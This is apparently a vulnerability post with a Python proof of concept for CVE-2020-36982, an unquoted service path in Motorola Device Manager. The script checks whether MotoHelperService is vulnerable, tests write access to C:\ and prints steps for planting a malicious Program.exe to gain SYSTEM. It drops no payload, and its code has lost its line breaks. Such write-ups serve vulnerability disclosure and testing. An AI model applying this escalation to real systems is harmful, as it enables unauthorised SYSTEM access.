CVE-2020-36982 Motorola Device Manager MotoHelperService.exe未引号服务路径提权漏洞

# CVE-2020-36982 PoC - Unquoted Service Path in Motorola Device Manager # This PoC demonstrates how to exploit the unquoted service path vulnerability # to gain SYSTEM privileges through the MotoHelperService.exe service import os import sys import subprocess def check_vulnerable_service(): """Check if MotoHelperService.exe has unquoted service path vulnerability""" try: # Query service configuration using sc command result = subprocess.check_output( ['sc', 'qc', 'MotoHelperService'], stderr=subprocess.STDOUT, text=True ) print("[*] MotoHelperService Configuration:") print(result) # Check if BINARY_PATH_NAME contains spaces and no quotes if 'BINARY_PATH_NAME' in result: for line in result.split('\n'): if 'BINARY_PATH_NAME' in line: path = line.split(':', 1)[1].strip() print(f"[*] Service Path: {path}") if ' ' in path and not path.startswith('"'): print("[+] VULNERABLE: Path contains spaces without quotes!") return True return False except Exception as e: print(f"[-] Error checking service: {e}") return False def create_malicious_executable(): """Create a malicious executable to be placed in unquoted path""" # Path where attacker would place malicious executable # Based on the service path, this could be C:\Program.exe or similar malicious_path = r"C:\Program.exe" # Check if we can write to the target location target_dir = os.path.dirname(malicious_path) if os.access(target_dir, os.W_OK): print(f"[+] Can write to {target_dir}") # In real attack, this would be a reverse shell or other malicious code print(f"[*] Attacker would place malicious executable at: {malicious_path}") print("[*] When service restarts, the malicious code will execute as SYSTEM") else: print(f"[-] Cannot write to {target_dir}") def main(): print("=" * 60) print("CVE-2020-36982 - Motorola Device Manager Unquoted Service Path") print("=" * 60) print("\n[1] Checking if MotoHelperService is vulnerable...") is_vulnerable = check_vulnerable_service() if is_vulnerable: print("\n[2] Analyzing exploitation path...") create_malicious_executable() print("\n[*] Exploitation Steps:") print(" 1. Create a malicious executable (e.g., Program.exe)") print(" 2. Place it in an unquoted path segment (e.g., C:\\Program.exe)") print(" 3. Wait for service restart or trigger service restart") print(" 4. Malicious code executes with SYSTEM privileges") else: print("\n[-] Service not found or not vulnerable") if __name__ == "__main__": main()